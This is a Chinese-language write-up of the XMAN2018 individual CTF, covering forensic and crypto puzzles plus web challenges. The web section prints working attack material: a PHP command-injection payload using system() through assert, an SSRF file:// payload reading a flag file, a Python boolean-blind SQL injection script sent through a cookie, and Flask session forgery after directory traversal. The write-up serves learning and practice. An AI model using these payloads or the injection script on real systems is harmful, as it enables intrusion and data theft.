XMAN2018个人赛
这次个人赛,可以说充分体验到自己的菜了,只排第36。赛后复盘,你说题目很难吗?其实并不难,我觉得我更大的问题出在心态上。
Misc
0x00 FILE
这题拿到一个img压缩包,尝试解压,发现解压不了,hxd打开看了下,发现里面有很多图片信息,我全部提了出来看,发现都是些很丑的猫猫狗狗的图片,想过用stegsolve一个个去看,但是那些猫实在是太丑了而且题目出成这样容易被喷。这时候想到img文件会不会受损了,想到一个工具extundelete,extundelete –restore-all可以尝试恢复所有目录和文件。完整过程如下:flag:flag{fugly_cats_need_luv_2}
0x01 XMAN通行证
这题是个签到题,主办方看到这么多人做不出来也是很心急,直接给了非常完整的hint拿到一串base64,解码后是kanbbrgghjl{zb____}vtlaln
,直到看到完整的hint之前,其实我也是不会做的,拿这串东西去栅栏加密,key=7的时候,拼出了flag的格式。最后拿去凯撒一下flag:xman{oyay_now_you_get_it}
0x02 ppap
题目给了个数据包,查找关键词flag,发现一个数据包,追踪tcp流,发现一大堆base64分离出来是一张海盗图片,一个zip,里面有flag,一个xml文件,这时候我不会做了,爆破爆了很久爆不出来密码。但是作为一个web手,我一手谷歌技能已经点满,随便输了个关键词,找到了原题,附上原题脚本1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#!/usr/bin/env python
import os
import sys
import cv2
# Get all of the pictures
imgs = os.listdir('images')
# Cascade we'll be using for detection
cascade = cv2.CascadeClassifier('cascade.xml')
# From the clues
scaling_factor = 1.02
min_neighbors = 70 # Bumped this up until one pic was left
for img_name in imgs:
# Load the image and run the cascade
img = cv2.imread(os.path.join('images', img_name))
detect = cascade.detectMultiScale(img, scaling_factor, min_neighbors)
if len(detect) > 0:
for (x, y, w, h) in detect:
# X marks the spot!
cv2.line(img, (x, y), (x + w, y + h), (255, 0, 0), 2)
cv2.line(img, (x, y + h), (x + w, y), (255, 0, 0), 2)
# Save the new image
cv2.imwrite(os.path.join('detected', img_name), img)
我没想到主办方直接用的原题的flag,大开眼界鸭
flag:flag{b31Ng_4_P1r4tE_1s_4lR1GHT_w1Th_M3}
0x03 AUTOKEY
给了个pcap包,全是usb流量。用tshark提取下来1
tshark -r ./example.pcap -T fields -e usb.capdata
发现都是8字节的数据,那么就是键盘流量了,解题脚本如下:1
2
3
4
5
6
7
8
9
10
11
12#encoding:utf-8
mappings = {'04':"A", '05':"B", '06':"C", '07':"D", '08':"E", '09':"F", '0A':"G", '0B':"H", '0C':"I", '0D':"J", '0E':"K", '0F':"L", '10':"M", '11':"N",'12':"O", '13':"P", '14':"Q", '15':"R", '16':"S", '17':"T", '18':"U",'19':"V", '1A':"W", '1B':"X", '1C':"Y", '1D':"Z", '1E':"1", '1F':"2", '20':"3", '21':"4", '22':"5", '23':"6", '24':"7", '25':"8", '26':"9", '27':"0", '28':"\n", '2a':"[DEL]", '2B':" ", '2C':" ", '2D':"-", '2E':"=", '2F':"[", '30':"]", '31':"\\", '32':"~", '33':";", '34':"'", '36':",", '37':"." }
normalKeys = {"04":"a", "05":"b", "06":"c", "07":"d", "08":"e", "09":"f", "0a":"g", "0b":"h", "0c":"i", "0d":"j", "0e":"k", "0f":"l", "10":"m", "11":"n", "12":"o", "13":"p", "14":"q", "15":"r", "16":"s", "17":"t", "18":"u", "19":"v", "1a":"w", "1b":"x", "1c":"y", "1d":"z","1e":"1", "1f":"2", "20":"3", "21":"4", "22":"5", "23":"6","24":"7","25":"8","26":"9","27":"0","28":"<RET>","29":"<ESC>","2a":"<DEL>", "2b":"\t","2c":"<SPACE>","2d":"-","2e":"=","2f":"[","30":"]","31":"\\","32":"<NON>","33":";","34":"'","35":"<GA>","36":",","37":".","38":"/","39":"<CAP>","3a":"<F1>","3b":"<F2>", "3c":"<F3>","3d":"<F4>","3e":"<F5>","3f":"<F6>","40":"<F7>","41":"<F8>","42":"<F9>","43":"<F10>","44":"<F11>","45":"<F12>"}
zz=[]
with open('final.txt','r') as f:
a=f.readlines()
for k in a:
k=k.strip()
if k in normalKeys:
zz.append(normalKeys[k])
print zz
这里的final.txt里面是每行一个第三字节的数据(因为直接处理原txt会有莫名问题,我就全部提取出来了),然后获得这样一串东西:1
<CAP>a<CAP>utokey9'88880.decipheer9'<CAP>mplrvffczeyoujfjkybxgzvdgqaurkxzolkolvtufblrnjesqitwahxnsijxpnmplshcjbtyhzealogviaaissplfhlfswfehjncrwhtinsmambvexo<DEL>pze<DEL>iz'0
把前面和后面多余的都去掉,注意DEL那里,要删掉前一个字符,按理说DEL应该是删掉后面一个字符,但是这里确实就是这样的,最后得到的字符串是1
mplrvffczeyoujfjkybxgzvdgqaurkxzolkolvtufblrnjesqitwahxnsijxpnmplshcjbtyhzealogviaaissplfhlfswfehjncrwhtinsmambvexpziz
根据提示,这是自动密钥密码,网上找了个脚本,跑了一下就出来了。flag:flag{JHAWLZKEWXHNCDHSLWBAQJTUQZDXZQPF}
Web
0x04 MAKEIT
很明显的.git源码泄露拿到源码,看到index.php有一行这样的代码很明显是一个容易利用的注入点,可以实现任意命令执行。因为知道flag的位置,可以构造如下payload直接读flag,用到了php的一个特性,可以用.号连接不同的命令1
/?page='.system('cat templates/flag.php').'
flag:XMAN{flag_is_so_cool}
这里我深入了一下,发现这样是可以命令执行的:1
2assert("file_exists(''.phpinfo().'')");
assert("file_exists(phpinfo())");
这样就不行:1
assert("file_exists('phpinfo()')");
括号内换成别的函数或者根本没有函数也是一样的,参数错误只会报个警告,该执行的都会执行,重要的是要执行的命令不能在引号内。
0x05 SIMPLE SSRF
这题目大概就是发送一个请求到目标url,然后返回页面信息,限制了必须是www.baidu.com
首先尝试了训练时用过的payload:1
file://@www.baidu.com/etc/flag.txt
发现不行,开始乱试,加了个#,就可以了,后端加了个/后缀。
flag:XMAN{f1l3_pr0toc0l_1s_us3ful}
0x06 bbsqli
这题我比赛时没有做出来,赛后复盘的时候做了,很简单的题目。给了个输入框,无论你输入什么都会原封不动放到右边。
比赛的时候,我不知道时哪里来的逻辑,看到这道题的cookie构造和别的题的cookie一样,就放弃了cookie注入的想法,然而,这道题就是cookie注入。可以看到,是个很简单的布尔型盲注,直接手注就可以出来。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#encoding:utf-8
import requests,time
url="http://202.112.51.184:16080/index.php"
proxies={"http":"http://127.0.0.1:8080"}
def Get_Cookies(a,b,c):
cookies={
"PHPSESSID":"a4a67189e1e57cef77d1743ae8419820' and ascii(mid((select flag from `[GDJM_flag]`),%d,1))=%d# "%(b,c)}
return cookies
if __name__ == '__main__':
ses=requests.session()
row=0
pos=1
name=''
try:
while True:
for i in xrange(32,127):
r=ses.post(url=url,data={'secret':'sas'},cookies=Get_Cookies(row,pos,i))
if len(r.content)>10000:
name+=chr(i)
pos+=1
print name
break
except Exception as e:
print e
有个小坑,表名是方括号括着的,要加一对反引号。注意反引号不是乱用的,要跟引号的用法区别开。这题可以说是送分的。。但是我当时就是没有发现这个点,也只能怪自己菜。听说还可以直接sqlmap跑,不明白为什么要出一道sqlmap可以直接跑的题目。
好吧。。刚刚知道,这题是有回显的,2分钟解题,过程不写了。
flag:xman{YoVr_4R3_a_Bada5s_Ge7_My_Fl4g}
0x07 SSHOP
这是一道代码审计题,也是我比赛的时候心态爆炸的原因。
首先,看了一遍代码,很快定位到flag的位置,可以看到,只有is_admin()不为False的时候,页面才会显示出flag。回溯一下,发现只要登录了,session[‘admin’]就会是False这时候我就开始想,怎样才能构造一个布尔值是True的session[‘admin’]?,全局搜索了一下,发现所有代码里面出现session[‘admin’]的就上面这两个地方了,然后就开始乱想,想过登录绕过,但是其实就算成功了也没用,因为代码逻辑已经给了,绕过成功了也不会对session有任何改变,在这里卡住了很久,非常非常久。我不断地想各种奇奇怪怪的方法,也说明我那时候心态已经不行了。下面给出正确解题过程。首先可以看到,代码里有一个比较明显的目录穿越漏洞其实这个真的非常好发现,但是我当时一心一意想搞session,根本没想到会跟这段代码扯上关系,然后,可以通过这个漏洞去读取到根目录的.secret,这里要提到flask的伪造session方法,也是本题的重点,先给个p牛写的文章https://www.leavesongs.com/PENETRATION/client-session-security.html完整的解题过程如下:
首先通过目录穿越去读取.secret然后,搭好本地环境,把代码里的secret更换成目录穿越读取的.secret然后,把登录后的session[‘admin’]=False改为True这时候可以直接登陆拿cookie了。再把拿到的cookie拿到题目去替换现有的cookie,就能拿到flag。flag:flag{5b39065adb5c625a2273aee4271b6bde}
比赛的时候心态不好,卡在一个地方的时候会变得很烦躁,就会跳来跳去看题,最后一道题都做不出,这个缺点非常需要改正。